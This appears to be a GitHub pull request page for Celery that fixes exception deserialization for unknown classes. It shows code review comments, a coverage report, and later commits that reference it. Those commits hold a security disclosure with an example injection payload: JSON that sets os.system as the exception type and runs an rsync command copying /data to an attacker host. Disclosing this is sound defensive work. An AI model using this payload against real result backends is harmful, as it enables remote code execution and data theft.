Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix exception deserialization for unknown classes (Fixes #4835) #4836

Merged
merged 1 commit into from Jun 23, 2018

Conversation

johnarnold
Copy link
Contributor

@johnarnold johnarnold commented Jun 21, 2018

Fixes #4835.

cls = getattr(sys.modules[exc_module], exc_type)
except KeyError:
cls = create_exception_cls(
from_utf8(exc['exc_type']), __name__)
Copy link
Member

@georgepsarakis georgepsarakis Jun 21, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can use the exc_type variable, defined on line 251.

Copy link
Member

@georgepsarakis georgepsarakis Jun 21, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Instead of __name__ which will return celery.backends.base I think, you can pass celery.exceptions.__name__.

Copy link
Contributor Author

@johnarnold johnarnold Jun 21, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

1st change made.

For the second one, celery.exceptions is not imported, ok to use module name of an imported exception? e.g.

cls = create_exception_cls(
                            exc_type, TimeoutError.__module__)

Copy link
Member

@georgepsarakis georgepsarakis Jun 22, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can add the import statement if you don't mind, I can't find any issue with that. Your version would work too, using the module is more directly visible perhaps.

@codecov
Copy link

@codecov codecov bot commented Jun 22, 2018

Codecov Report

Merging #4836 into master will decrease coverage by <.01%.
The diff coverage is 50%.

Impacted file tree graph

@@            Coverage Diff             @@
##           master    #4836      +/-   ##
==========================================
- Coverage   82.76%   82.75%   -0.01%     
==========================================
  Files         140      140              
  Lines       15940    15943       +3     
  Branches     1998     1998              
==========================================
+ Hits        13193    13194       +1     
- Misses       2548     2550       +2     
  Partials      199      199
Impacted Files Coverage Δ
celery/backends/base.py 95.87% <50%> (-0.41%) ⬇️

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7d9300b...2daa321. Read the comment docs.

@johnarnold
Copy link
Contributor Author

@johnarnold johnarnold commented Jun 22, 2018

@georgepsarakis I added your requested changes, squashed the commits back down.

Copy link
Member

@georgepsarakis georgepsarakis left a comment

Nice work! 😄

auvipy
auvipy approved these changes Jun 23, 2018
@auvipy auvipy merged commit d20b8a5 into celery:master Jun 23, 2018
1 of 2 checks passed
@thedrow thedrow added this to the v4.2.1 milestone Jul 18, 2018
thedrow added a commit that referenced this issue Dec 26, 2021
When a task fails, the failure information is serialized in the backend.
In some cases, the exception class is only importable from the
consumer's code base. In this case, we reconstruct the exception class
so that we can re-raise the error on the process which queried the
task's result. This was introduced in #4836.
If the recreated exception type isn't an exception, this is a security issue.
Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
`os.system("rsync /data attacker@192.168.56.100:~/data")`
by setting the task's result to a failure in the result backend with the os,
the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so:
```json
{
      "exc_module": "os",
      'exc_type': "system",
      "exc_message": "rsync /data attacker@192.168.56.100:~/data"
}
```

According to my analysis, this vulnerability can only be exploited if
the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the tasks's result.
The attacker would also have to gain access to the result backend.
The severity of this security vulnerability is low, but we still
recommend upgrading.
thedrow added a commit that referenced this issue Dec 26, 2021
When a task fails, the failure information is serialized in the backend.
In some cases, the exception class is only importable from the
consumer's code base. In this case, we reconstruct the exception class
so that we can re-raise the error on the process which queried the
task's result. This was introduced in #4836.
If the recreated exception type isn't an exception, this is a security issue.
Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
`os.system("rsync /data attacker@192.168.56.100:~/data")`
by setting the task's result to a failure in the result backend with the os,
the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so:
```json
{
      "exc_module": "os",
      'exc_type': "system",
      "exc_message": "rsync /data attacker@192.168.56.100:~/data"
}
```

According to my analysis, this vulnerability can only be exploited if
the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the tasks's result.
The attacker would also have to gain access to the result backend.
The severity of this security vulnerability is low, but we still
recommend upgrading.
santoshdasa12345 pushed a commit to uktrade/celery that referenced this issue Jan 28, 2022
When a task fails, the failure information is serialized in the backend.
In some cases, the exception class is only importable from the
consumer's code base. In this case, we reconstruct the exception class
so that we can re-raise the error on the process which queried the
task's result. This was introduced in celery#4836.
If the recreated exception type isn't an exception, this is a security issue.
Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
`os.system("rsync /data attacker@192.168.56.100:~/data")`
by setting the task's result to a failure in the result backend with the os,
the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so:
```json
{
      "exc_module": "os",
      'exc_type': "system",
      "exc_message": "rsync /data attacker@192.168.56.100:~/data"
}
```

According to my analysis, this vulnerability can only be exploited if
the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the tasks's result.
The attacker would also have to gain access to the result backend.
The severity of this security vulnerability is low, but we still
recommend upgrading.

(cherry picked from commit 1f7ad7e)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants